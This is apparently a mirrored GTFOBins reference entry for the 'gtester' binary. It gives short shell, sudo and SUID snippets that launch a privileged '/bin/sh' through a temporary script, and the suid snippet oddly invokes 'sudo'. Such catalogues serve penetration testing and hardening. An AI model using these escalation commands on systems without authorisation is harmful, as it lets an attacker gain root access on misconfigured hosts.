mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 23:09:46 +01:00
e4cd54418c
Related to #108.
25 lines
513 B
Markdown
25 lines
513 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo '#!/bin/sh' > $TF
|
|
echo 'exec /bin/sh -p 0<&1' >> $TF
|
|
chmod +x $TF
|
|
gtester -q $TF
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo '#!/bin/sh' > $TF
|
|
echo 'exec /bin/sh 0<&1' >> $TF
|
|
chmod +x $TF
|
|
sudo gtester -q $TF
|
|
suid:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo '#!/bin/sh -p' > $TF
|
|
echo 'exec /bin/sh -p 0<&1' >> $TF
|
|
chmod +x $TF
|
|
sudo gtester -q $TF
|
|
---
|